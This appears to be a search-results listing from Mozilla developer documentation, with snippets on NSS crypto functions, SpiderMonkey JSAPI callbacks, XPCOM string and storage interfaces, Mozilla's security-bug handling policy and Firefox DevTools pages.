... description fc_decryptupdate decrypts a block of data according to the attributes of the previous call to fc_decryptinit.
FC_EncryptUpdate
ppart [in] pointer to the next block of data to be encrypted.
... uspartlen [in] length of data block in bytes.
...pusencryptedpartalen [out] pointer the location where the number of bytes of encrypted data is to be stored.
... description fc_encryptupdate encrypts a block of data according to the attributes of the previous call to fc_encryptinit.
NSS Key Functions
this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with nss.
... seckey_getdefaultkeydb seckey_destroyprivatekey seckey_getdefaultkeydb returns a handle to the default key database opened by nss_init.
...description nss_init opens the certificate, key, and security module databases that you specify for use with nss.
... seckeykeydbhandle returns a handle to the key database opened by nss_init.
NSS tools : cmsutil
-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
...-i infile use infile as a source of data (default is stdin).
...-o outfile use outfile as a destination of data (default is stdout).
...-p password use password as key database password.
sslkey.html
upgraded documentation may be found in the current nss reference key functions chapter 6 key functions this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with communicator.
... seckey_getdefaultkeydb seckey_destroyprivatekey seckey_getdefaultkeydb returns a handle to the default key database opened by nss_init.
... description nss_init opens the certificate, key, and security module databases that you specify for use with nss.
... seckeykeydbhandle returns a handle to the key database opened by nss_init.
NSS Tools cmsutil
-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
... -i infile use infile as a source of data (default is stdin).
... -o outfile use outfile as a destination of data (default is stdout).
... -p password use password as key database password.
NSS Tools dbck-tasks
nss security tools: dbck tasks newsgroup: mozilla.dev.tech.crypto task list in analyze mode, there should be an option to create a file containing a graph of the certificate database without any information about the user's certificates (no common names, email addresses, etc.).
... this file could be mailed to a mail alias to assist in finding the source of database corruption.
... the dbck tool should be able to repair a currupted database.
... the dbck tool should be able to update a databa ...
NSS tools : cmsutil
MozillaProjectsNSStoolscmsutil
-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
... -i infile use infile as a source of data (default is stdin).
... -o outfile use outfile as a destination of data (default is stdout).
... -p password use password as key database password.
JS::SetLargeAllocationFailureCallback
syntax void js::setlargeallocationfailurecallback(jsruntime *rt, js::largeallocationfailurecallback afc, void *data); name type description rt jsruntime * the jsruntime for which to set the gc callback.
... data void * data parameter which will be passed to js::largeallocationfailurecallback.
... added in spidermonkey 38 callback syntax typedef void (* js::largeallocationfailurecallback)(void *data); name type description data void * data parameter passed to js::setlargeallocationfailurecallback.
... see also mxr id search for js::setlargeallocationfailurecallback mxr id search for js::largeallocationfailurecallback bug 936236 bug 987995 - added data parameter ...
JS::SetOutOfMemoryCallback
syntax void js::setoutofmemorycallback(jsruntime *rt, js::outofmemorycallback cb, void *data); name type description rt jsruntime * the jsruntime for which to set the gc callback.
... data void * data parameter which will be passed to js::outofmemorycallback.
... added in spidermonkey 38 callback syntax typedef void (* outofmemorycallback)(jscontext *cx, void *data); name type description data void * data parameter passed to js::setoutofmemorycallback.
... see also mxr id search for js::setoutofmemorycallback mxr id search for js::outofmemorycallback bug 969415 bug 987995 - added data parameter ...
JS_AddFinalizeCallback
syntax bool js_addfinalizecallback(jsruntime *rt, jsfinalizecallback cb, void *data); // added in spidermonkey 38 (jsapi 32) void js_removefinalizecallback(jsruntime *rt, jsfinalizecallback cb); // added in spidermonkey 38 (jsapi 32) void js_setfinalizecallback(jsruntime *rt, jsfinalizecallback cb); // obsolete since jsapi 32 name type description rt jsruntime * the jsruntime for which to set the finalization callback.
... data void * passed to data parameter for jsfinalizecallback.
... callback syntax typedef enum jsfinalizestatus { jsfinalize_group_start, jsfinalize_group_end, jsfinalize_collection_end } jsfinalizestatus; typedef void (* jsfinalizecallback)(jsfreeop *fop, jsfinalizestatus status, bool iscompartment, void *data); name type description fop jsfreeop * a pointer to an instance of jsfreeop.
... data void * data parameter specified in js_addfinalizecallback.
JS_GetInstancePrivate
retrieve the private data associated with an object, if that object is an instance of a specified class.
... obj js::handle&lt;jsobject*&gt; the object for which to retrieve private data.
... description js_getinstanceprivate determines if a javascript object, obj, is an instance of a given jsclass, clasp, and if it is, returns a pointer to the object's private data.
...note that if obj is an instance of clasp, but there is no private data currently associated with the object, or the object cannot have private data, js_getinstanceprivate also returns null.
JS_IterateCompartments
syntax void js_iteratecompartments(jsruntime *rt, void *data, jsiteratecompartmentcallback compartmentcallback); name type description cx jsruntime * the runtime of the compartments to iterate over.
... data void * this will be passed as the data parameter of the jsiteratecompartmentcallback.
... callback function typedef void (*jsiteratecompartmentcallback)(jsruntime *rt, void *data, jscompartment *compartment); name type description cx jsruntime * the runtime of the compartments.
... data void * data parameter passed to js_iteratecompartments.
JS_NewExternalString
the array must be populated with the desired character data before js_newexternalstring is called, and the array must remain in memory, with its contents unchanged, for as long as the javascript engine needs to hold on to it.
...obsolete since jsapi 13 closure void * (js_newexternalstringwithclosure only) arbitrary, application-defined data to include in the string object after it's created.
... js_newexternalstringwithclosure works similarly, except it accepts an additional parameter, closure, which is saved in the string's internal data structure.
...this is application-defined data you can associate with the string.
JS_SetContextCallback
syntax void js_setcontextcallback(jsruntime *rt, jscontextcallback cxcallback, void *data); name type description rt jsruntime * pointer to a js runtime.
... data void * any data passed as 3rd argument to the callback function.
... added in spidermonkey 31 callback syntax typedef bool (* jscontextcallback)(jscontext *cx, unsigned contextop, void *data); name type description cx jscontext * pointer to a jscontext which the callback may use to call into jsapi functions.
... data void * data specified in js_setcontextcallback.
JSAPI reference
they have been removed in js 1.8.5, though js_enterlocalrootscope obsolete since javascript 1.8.5 js_leavelocalrootscope obsolete since javascript 1.8.5 js_leavelocalrootscopewithresult obsolete since javascript 1.8.5 js_forgetlocalroot obsolete since javascript 1.8.5 added in spidermonkey 1.8 if an object contains references to other gc things that are not stored in spidermonkey data structures ("slots"), it must implement the jstraceop hook to enable the garbage collector to traverse those references.
...nternstringn js_internucstring js_internucstringn js_internjsstring added in spidermonkey 1.8.5 js_stringhasbeeninterned added in spidermonkey 17 js_getlatin1internedstringchars added in spidermonkey 38 js_gettwobyteinternedstringchars added in spidermonkey 38 js_getinternedstringchars obsolete since jsapi 33 js_getinternedstringcharsandlength obsolete since jsapi 33 the character data for external strings is stored in memory provided by the application.
... applications can use this to avoid copying data back and forth between spidermonkey's heap and application memory.
...- used by js_mapgcroots obsolete since jsapi 19 jsobjectprincipalsfinder - used by js_setobjectprincipalsfinder obsolete since javascript 1.8 jsprincipalstranscoder - used by js_setprincipalstranscoder obsolete since javascript 1.8 jsstringfinalizeop - used by js_addexternalstringfinalizer obsolete since jsapi 13 jstracecallback - used by js_tracer_init obsolete since jsapi 12 jstracedataop - used by js_setextragcroots obsolete since jsapi 25 jstracenameprinter - used by js_set_tracing_details obsolete since jsapi 26 see also classes, above.
Handling Mozilla Security Bugs
background security vulnerabilities are different from other bugs, because their consequences are potentially so severe: users' private information (including financial information) could be exposed, users' data could be destroyed, and users' systems could be used as platforms for attacks on other systems.
... the bugzilla administrators will technically be in the mozilla security bug group as well, mainly because they already have visibility into all bugzilla data hosted through mozilla.org.
...by not doing so, and by instead choosing to report bugs through the standard bugzilla processes, the bug reporter is doing a positive service to the mozilla project; thus it makes sense that the bug reporter should be able to decide when the relevant bugzilla data should be made public.
...sentative on the security bug group, then even if a bug remains in the security-sensitive category, all affected distributors can still be informed and take appropriate action.) the security module owner will be the primary person responsible for ensuring that security bug reports are investigated and publicly disclosed in a timely manner, and that such bug reports do not remain in the bugzilla database uninvestigated and/or undisclosed.
Gecko Roles
role_chart represents a graphical image used to represent data.
... role_diagram represents a graphical image used to diagram data.
... role_tree_table representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data.
...it represents the portion of the entire data that the user can see.
Places Expiration
this means on mobile and old systems expiration will be more aggressive than on high-end hardware, to try keep the database size at a reasonable (and performant) value.
... on shutdown most of the times the adaptive algorithm will ensure the database is clean before shutdown, so the only task executed on shutdown will be removal of session data (like session annotations).
... on maintenance when places maintenance runs (about once a week, on daily idle), an orphans expiration step is executed, this ensures database cleanup.
... places.history.expiration.max_pages: the maximum number of pages that may be retained in the database before starting to expire.
Places
places stores its data in an sqlite database using the mozstorage interfaces.
... displaying places information using views how to use places views to display places data in your own applications or extensions.
... places database troubleshooting how to deal with a corrupt places.sqlite database.
... design documents the places database high-level overview of the places database design.
XML Extras
the xml extras module contains several features that allow developers to treat xml as data i.e.
...the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users.
... thad hoffman has written a document that shows how you can mimic xml data islands in mozilla.
... edmond woychowsky has also written articles on xml data islands in mozilla: "make xml data islands work in mozilla", "build cross-browser xml paging code" and "implement a flexible shopping cart with xml and asp".
Avoiding leaks in JavaScript XPCOM components
to understand closures a little better before examining how they can cause leaks, consider the following example, in which there are two pairs of function objects, and each pair has an instance of the private_data variable: // this function returns an array containing two functions.
... var private_data = 0; var result = new array(); result[0] = function() { return (private_data += 1); } result[1] = function() { return (private_data *= 2); } return result; } // this function returns the string "results: 1, 2, 4, 0, 5, 1, 10." function test() { var fns1 = function_array(); var fns2 = function_array(); return "results: " + fns1[0]() + ", " + // increments first private_data to 1 fns1[1]() + ", " + // doubles first private_data to 2 fns1[1]() + ", " + // doubles first private_data to 4 fns2[1]() + ", " + // doubles second private_data to 0 ...
... fns1[0]() + ", " + // increments first private_data to 5 fns2[0]() + ", " + // increments second private_data to 1 fns1[1]() + "."; // doubles first private_data to 10 } this shows that closures are quite powerful.
...consider the example of bug 170022 (which also demonstrates a leak via a global variable, fixed later in bug 231266): const observer = { observe: function(subject, topic, data) { if (topic != "open-new-tab-request" || subject != window) return; delayedopentab(data); } }; const service = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); service.addobserver(observer, "open-new-tab-request", false); in this example, there is a similar cycle between observe and service.
Component Internals
xpcom reads this file into an in-memory database.
... type library manifests type library manifests contain the following information: location of all type library files mapping of all known interfaces to type libraries where these structures are defined using the data in these two manifests, xpcom knows exactly which component libraries have been installed and what implementations go with which interfaces.
... the next section describes how to hook into the xpcom startup and registration process and make the data about your component available in these manifests, so that your component will be found and registered at startup.
...xpcom provides many data structures from linked lists to avl trees.
Append
void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
... adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
Assign
void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
... adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
Insert
void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
...adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
Append
void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
... adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
Assign
void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
... adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
Insert
void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string.
...adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
nsAString (External)
isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger data members no public members.
... source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters nsastring& astring void assign(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* astr operator= nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters pru...
...nichar achar replace void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, prunichar) - source parameters pruint32 cutstart pruint32 cutlength prunichar c void replace(pruint32, pruint32, const nsastring&) - source parameters pruint32 cutstart pruint32 cutlength nsastring& readable append void append(prunichar) - source parameters prunichar c void append(const prunichar*, pruint32) - source parameters prunichar* data pruint32 length void append(const nsastring&) - source parameters nsastring& readable appendliteral void appendliteral(const char*) - source parameters char* aasciistr operator+= nsastring& operator+=(prunich...
...ar) - source parameters prunichar c nsastring& operator+=(const prunichar*) - source parameters prunichar* data nsastring& operator+=(const nsastring&) - source parameters nsastring& readable insert void insert(prunichar, pruint32) - source parameters prunichar c pruint32 pos void insert(const prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurences of characters in aset from the string.
nsEmbedCString
explicit nsembedcstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
... adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
nsEmbedString
explicit nsembedstring( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string.
... adatalength [in] the length of adata, measured in storage units.
... if equal to pr_uint32_max, then adata is assumed to be null-terminated.
... otherwise, adata need not be null terminated.
imgIDecoder
void init( in imgiload aload ); parameters aload an imgiload object to receive the decoded image data.
... writefrom() writes data into the stream from an input stream.
... implementer's note: this method is defined by this interface in order to let the output stream efficiently copy the data from the input stream into its internal buffer (if any).
...unsigned long writefrom( in nsiinputstream instr, in unsigned long count ); parameters instr the stream from which to read the encoded image data.
mozIStorageAggregateFunction
the implementation should finish its calculations on the data, and return a result.
...var standarddeviationfunc = { _numbers: [], onstep: function(aarguments) { this._numbers.push(aarguments.getint32(0)); }, onfinal: function() { let total = 0; let ilength = this._numbers.length; this._numbers.foreach(function(elt) { total += elt }); let mean = total / this._numbers.length; let data = this._numbers.map(function(elt) { let value = elt - mean; return value * value; }); total = 0; data.foreach(function(elt) { total += elt }); this._numbers = []; return math.sqrt(total / ilength); } }; // now, register our function with the database connection.
...p(mozistoragevaluearray *aarguments) { print32 value; nsresult rv = aarguments->getint32(&value); ns_ensure_success(rv, rv); mnumbers.appendelement(value); } ns_imethod onfinal(nsivariant **_result) { print64 total = 0; for (pruint32 i = 0; i < mnumbers.length(); i++) total += mnumbers[i]; print32 mean = total / mnumbers.length(); nstarray<print64> data(mnumbers); for (pruint32 i = 0; i < data.length(); i++) { print32 value = data[i] - mean; data[i] = value * value; } total = 0; for (pruint32 i = 0; i < data.length(); i++) total += data[i]; nscomptr<nsiwritablevariant> result = do_createinstance("@mozilla.org/variant;1"); ns_ensure_true(result, ns_error_out_of_memory); rv = result->setasdoub...
...le(sqrt(double(total) / double(data.length()))); ns_ensure_success(rv, rv); ns_addref(*_result = result); return ns_ok; } private: nstarray<print32> mnumbers; }; // now, register our function with the database connection.
mozIStorageFunction
this is called by the database engine when the function registered with mozistorageconnection.createfunction() is used in an executing sql statement or trigger.
...var squarefunction = { onfunctioncall: function(aarguments) { let value = aarguments.getint32(0); return value * value; } }; // now, register our function with the database connection.
... nsresult rv = aarguments->getint32(&value); ns_ensure_success(rv, rv); nscomptr<nsiwritablevariant> result = do_createinstance("@mozilla.org/variant;1"); ns_ensure_true(result, ns_error_out_of_memory); rv = result->setasint64(value * value); ns_ensure_success(rv, rv); ns_addref(*_result = result); return ns_ok; } }; // now, register our function with the database connection.
...nscomptr<mozistoragestatement> stmt; rv = dbconn->createstatement(ns_literal_cstring( "select square(value) from some_table"), getter_addrefs(stmt) ); ns_ensure_success(rv, rv); prbool hasmore; while (ns_succeeded(stmt->executestep(&hasmore)) && hasmore) { // handle the results } see also storage introduction and how-to article mozistorageconnection database connection to a specific file or in-memory data storage mozistoragestatement create and execute sql statements on a sqlite database.
nsIAccessibleRole
role_chart 17 represents a graphical image used to represent data.
... role_diagram 53 represents a graphical image used to diagram data.
... role_tree_table 94 representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data.
...it represents the portion of the entire data that the user can see.
nsIBinaryOutputStream
xpcom/io/nsibinaryoutputstream.idlscriptable this interface allows writing of primitive data types (integers, floating-point values, booleans, and so on.) to a stream in a binary, untagged, fixed-endianness format.
...the output data consists of a 32-bit length field, followed by that many 8-bit characters.
...the output data consists of a 32-bit length field, followed by that many 8-bit characters.
...the output data consists of a 32-bit length field, followed by that many prunichars.
nsIBrowserSearchService
method overview void addengine(in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcallback callback); void addenginewithdetails(in astring name, in astring iconurl, in astring alias, in astring description, in astring method, in astring url); void getdefaultengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines)...
...void addengine( in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcallback callback ); parameters engineurl the url to the search engine's description file.
... datatype an integer representing the plugin file format.
... must be one of the supported search engine data types defined above.
nsIContentPrefService
void removeobserver(in astring aname, in nsicontentprefobserver aobserver); void removepref(in nsivariant agroup, in astring aname); void removeprefsbyname(in astring aname); void setpref(in nsivariant agroup, in astring aname, in nsivariant avalue); attributes attribute type description dbconnection mozistorageconnection the database connection to the content preferences database.
...also useful for testing the database creation and migration code.
...the result may be null (nsidatatype:vtype_empty) if the preference's value is either null, or undefined (nsidatatype:vtype_void) if there is no saved preference by the specified name.
...useful for removing references to the sites the user has visited when the user clears their private data.
nsICookieService
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) see nsicookiemanager and nsicookiemanager2 for methods to manipulate the cookie database directly.
... var cookiesvc = components.classes["@mozilla.org/cookieservice;1"] .getservice(components.interfaces.nsicookieservice); notifications this service broadcasts the following notifications when the cookie list is changed, or a cookie is rejected: topic subject data cookie-changed broadcast whenever the cookie list changes in some way.
... there are four possible data strings for this notification; one notification will be broadcast for each change.
... depending on the data value, either an nsicookie2 interface pointer representing the cookie object that changed, or an nsiarray of nsicookie2 objects.
nsIDOMFile
the nsidomfile interface retrieves data from a file submitted to a form using the input type "file".
... this allows the file reference to be saved when the form is submitted while the user is using a web application offline, so that the data can be retrieved and uploaded once the internet connection is restored.
... this is also used by the datatransfer object to describe files dragged into a web application using drag and drop.
... see also nsidomfilelist nsidomfileexception datatransfer drag and drop ...
nsIDownload
id unsigned long the id by which the download is identified uniquely in the database - not globally unique.
...can only be safely used for direct database manipulation in the database that contains this download.
... use the guid property instead for safe, database-agnostic searching and manipulation.
... deprecated since gecko 19.0 guid astring the guid of the download that is stored in the database.
nsIMicrosummaryService
in the old rdf-based bookmarks datastore, bookmark ids are nsirdfresource objects.
... in the new places-based datastore, they are nsiuri objects.
...if the caller passes a bookmark id, and one of the microsummaries is the current one for the bookmark, this method will retrieve content from the datastore for that microsummary, which is useful when callers want to display a list of microsummaries for a page that isn't loaded, and they want to display the actual content of the selected microsummary immediately (rather than after the content is asynchronously loaded).
...refreshmicrosummary() refreshes a microsummary, updating its value in the datastore and ui.
nsIObserver
inherits from: nsisupports last changed in gecko 0.9.6 method overview void observe(in nsisupports asubject, in string atopic, in wstring adata); methods observe() this method will be called when there is a notification for the topic that the observer has been registered for.
... void observe( in nsisupports asubject, in string atopic, in wstring adata ); parameters asubject in general reflects the object whose change or action is being observed.
... adata an optional parameter or other auxiliary data further describing the change or action.
... function myobserver() { this.register(); } myobserver.prototype = { observe: function(subject, topic, data) { // do your stuff here.
nsIPipe
as a result, the pipe is an ideal mechanism to bridge data exchange between two threads.
... for example, a worker thread might write data to a pipe from which the main thread will read.
...however, if that pipe's input end is blocking, then the read call will not return until the pipe has data or until the pipe is closed.
...for example, in the case of an empty non-blocking pipe, the user can call nsiasyncinputstream.asyncwait() on the input end of the pipe to be notified when the pipe has data to read (or when the pipe becomes closed).
nsIPlacesImportExportService
toolkit/components/places/nsiplacesimportexportservice.idlscriptable provides methods for exporting places data.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) in the past, this interface also offered methods for importing places data, but those methods are now part of the bookmarkhtmlutils.jsm javascript code module.
...observers will be passed through their data parameters either "html" if aisinitialimport is false or "html-initial" if aisinitialimport is true.
...observers will be passed through their data parameters either "html" if aisinitialimport is false or "html-initial" if aisinitialimport is true.
nsIPushService
your nsiobserver should ensure the data parameter matches your subscription scope.
... topic subject data description push api counterpart push-message nsipushmessage if the message has a payload; null for blank messages.
... example const obsservice = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); let pushobserver = { scope: "chrome://my-module/push", observe(subject, topic, data) { // the scope is passed as the `data` argument for `push-message` and // `push-subscription-change` observers.
... if (data == this.scope) { if (topic == "push-message") { this.onpushmessage(subject); } else if (topic == "push-subscription-change") { this.onpushsubscriptionchange(); } } }, onpushmessage(maybemessage) { if (!maybemesssage) { // the subject will be `null` for messages without data.
nsIXFormsModelElement
extensions/xforms/nsixformsmodelelement.idlscriptable defines scriptable methods for manipulating instance data and updating computed and displayed values.
...exceptions thrown domexception if there is no matching instance data.
... rebuild() signals the xforms processor to rebuild any internal data structures used to track computational dependencies within the given xforms model.
...though the script is assumed to have modified instance data prior to invoking recalculate, the dom mutations are not cached.
nsIXPCException
inherits from: nsiexception last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void initialize(in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner); xpcexjsval stealjsval(); native code only!
... methods initialize() void initialize( in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner ); parameters amessage aresult aname alocation adata ainner native code only!stealjsval xpcexjsval stealjsval(); parameters none.
...the call signature of the constructor is: components.exception(message, result, stack, data, inner) all parameters are optional and the appropriate placeholder is 'unknown'.
... message - a custom message set by the thrower (defaults to 'exception') result - the nsresult associated with this exception (defaults to components.results.ns_error_failure) stack - the stack chain (defaults to the current stack) data - additional data object of your choice (defaults to null) inner - an inner exception that triggered this, if available ...
Setting HTTP request headers
below is an example observer that adds a custom header "x-hello" to the channel passed in for http-on-modify-request notification: var {cc, ci} = require("chrome"); var httprequestobserver = { observe: function(subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); httpchannel.setrequestheader("x-hello", "world", false); } } }; note: the above code was changed to reflect that in a firefox add-on one can not directly access components.interfaces und components.classes anymore but must use the require line introduced to the sampl...
...var httprequestobserver = { observe: function(subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); httpchannel.setrequestheader("x-hello", "world", false); } }, get observerservice() { return cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); }, register: function() { this.observerservice.addobserver(this,...
...var headername = "x-hello"; var headervalue = "world"; function log(text) { // var consoleservice = components.classes["@mozilla.org/consoleservice;1"].getservice(components.interfaces.nsiconsoleservice); // consoleservice.logstringmessage(text); } function myhttplistener() { } myhttplistener.prototype = { observe: function(subject, topic, data) { if (topic == "http-on-modify-request") { log("----------------------------> (" + subject + ") mod request"); var httpchannel = subject.queryinterface(components.interfaces.nsihttpchannel); httpchannel.setrequestheader(headername, headervalue, false); return; } if (topic == "profile-after-change") { log("----------------...
...with this privacy and security addition the code to use becomes: observe: function(subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); if (/site.net/.test(httpchannel.originaluri.host)) { httpchannel.setrequestheader("x-hello", "world", false); } } }, ...
XPCOM
file and memory management, threads, basic data structures (strings, arrays, variants), etc.
...to this end, there exist xpcom interfaces to read and write registry data.
... this article will show you how to use the available interfaces in several mozilla products.aggregating the in-memory datasourcealready_addrefedalready_addrefed in association with nscomptr allows you to assign in a pointer without addrefing it.binary compatibilityif mozilla decides to upgrade to a compiler that does not have the same abi as the current version, any built component may fail.
...in addition to the actual content, some important information is passed with http headers for both http requests and responses.storagestorage is a sqlite database api.
XPIDL
for types that reference heap-allocated data (strings, arrays, interface pointers, etc), you must follow the xpidl data ownership conventions in order to avoid memory corruption and security vulnerabilities: for in parameters, the caller allocates and deallocates all data.
... if the callee needs to use the data after the call completes, it must make a private copy of the data, or, in the case of interface pointers, addref it.
... for out parameters, the callee creates the data, and transfers ownership to the caller.
... for inout parameters, the callee must clean up the old data if it chooses to replace it.
The libmime module
one of the methods provided by this parser is the ability to emit an html representation of the data stream.
...there is a class for each mime type, and each class is responsible for parsing itself, and/or handing the input data off to one of its child objects.
... typedef struct foobarclass foobarclass; typedef struct foobar foobar; class declaration theis structure defines the callback routines and other per-class data of the class defined in this module.
... (one interrogates the type of an instance by comparing the value of its class pointer with the address of this variable.) extern foobarclass foobarclass; instance declaration theis structure defines the per-instance data of an object, and a pointer to the corresponding class record.
Use SQLite
if you'd like to use an sqlite database in your extension you'll need to look over the storage docs for an api reference, however this code should get you started.
... be careful of multi-thread access to your database.
... getservice(ci.mozistorageservice); var dbconnection; if (!dbfile.exists()) dbconnection = this._dbcreate(dbservice, dbfile); else { dbconnection = dbservice.opendatabase(dbfile); } this.dbconnection = dbconnection; }, _dbcreate: function(adbservice, adbfile) { var dbconnection = adbservice.opendatabase(adbfile); this._dbcreatetables(dbconnection); return dbconnection; }, _dbcreatetables: function(adbconnection) { for(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; w...
...indow.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) storage of 2mb: var db = opendatabase('mydb', '1.0', 'test db', 2 * 1024 * 1024); var msg; db.transaction(function (tx) { tx.executesql('create table if not exists logs (id unique, log)'); tx.executesql('insert into logs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "logmsg")'); msg = '<p>log message created and row inserted.</p>'; document.queryselector('#status').innerhtml = msg; }); db.transaction(function (tx) { tx.executesql('select * from logs', [], function (tx, results) { var len = results.rows.length, i; msg = "<p>found rows:...
Browser Side Plug-in API - Plugins
npn_newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser.
... npn_posturl posts data to a url.
... npn_posturlnotify posts data to a url, and receives notification of the result.
... npn_write pushes data into a stream produced by the plug-in and consumed by the browser.
Drawing and Event Handling - Plugins
owtype; typedef struct _npwindow { void* window; /* platform-specific handle */ uint32 x; /* position of top-left corner */ uint32 y; /* relative to a netscape page */ uint32 width; /* maximum window size */ uint32 height; nprect cliprect; /* clipping rectangle in port coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* whether this is a window or a drawable */ } npwindow; the window parameter is a platform-specific handle to a native window element in the browser window hierarchy on windows and unix.
...the data structure passed in npp_setwindow is an npwindow object, which contains the coordinates of the instance's area and various platform-specific data.
... nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved) { ...
... this code shows the specific data passed through this method for each platform: #ifdef xp_mac typedef eventrecord npevent; #elif defined(xp_win) typedef struct _npevent { int16 event; int16 wparam; int32 lparam; } npevent; #elif defined(xp_unix) typedef xevent npevent; #else typedef void npevent; #endif /* xp_mac */ int16 npp_handleevent(npp instance, npevent* event); on mac os, when npp_handleevent is call...
Source map errors - Firefox Developer Tools
this message will show an error message, the resource url, and the source map url: here, the resource url tells us that bundle.js mentions a source map, and the source map url tells us where to find the source map data (in this case, relative to the resource).
... the error tells us that the source map is not json data — so we're serving the wrong file.
... the fix here is to make sure the file is being served and is accessible to the browser invalid source map the source map data can be invalid — either simply not a json file at all, or with an incorrect structure.
... typical error messages here are: syntaxerror: json.parse: unexpected character at line 1 column 1 of the json data error: "version" is a required argument original source missing an original source may be missing.
Debugger.Memory - Firefox Developer Tools
allocationslogoverflowed returns true if there have been more than [maxallocationsloglength][#max-alloc-log] allocations since the last time [drainallocationslog][#drain-alloc-log] was called and some data has been lost.
...to take advantage of this regularity, spidermonkey objects with identical sets of properties may share their property metadata; only property values are stored directly in the object.
... concatenations: when asked to concatenate two strings, spidermonkey may elect to delay copying the strings’ data, and represent the result simply as a pointer to the two original strings.
... source metadata generated from file: js/src/doc/debugger/debugger.memory.md watermark: sha256:2c1529d6932efec8c624a6f1f366b09cb7fce625a6468657fab81788240bc7ae changeset: e91b2c85aacd ...
Migrating from Firebug - Firefox Developer Tools
it doesn't provide information about the cached data yet (see bug 859051), but provides a security tab in addition to firebug's information and a timings tab showing detailed information about the network timings.
...in contrast to firebug the storage inspector not only allows to inspect cookies but also other kinds of storages like the local and session storage, the cache and indexeddb databases.
...then a dialog pops up allowing you to edit the data of the cookie and save it.
... inside the storage inspector you just have to double-click the data you want to edit.
Call Tree - Firefox Developer Tools
